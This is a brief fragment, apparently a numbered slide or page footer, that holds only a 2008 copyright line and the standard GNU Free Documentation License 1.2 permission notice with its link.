  • 39. Copyright (c) 2008 Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation. http://www.gnu.org/copyleft/fdl.html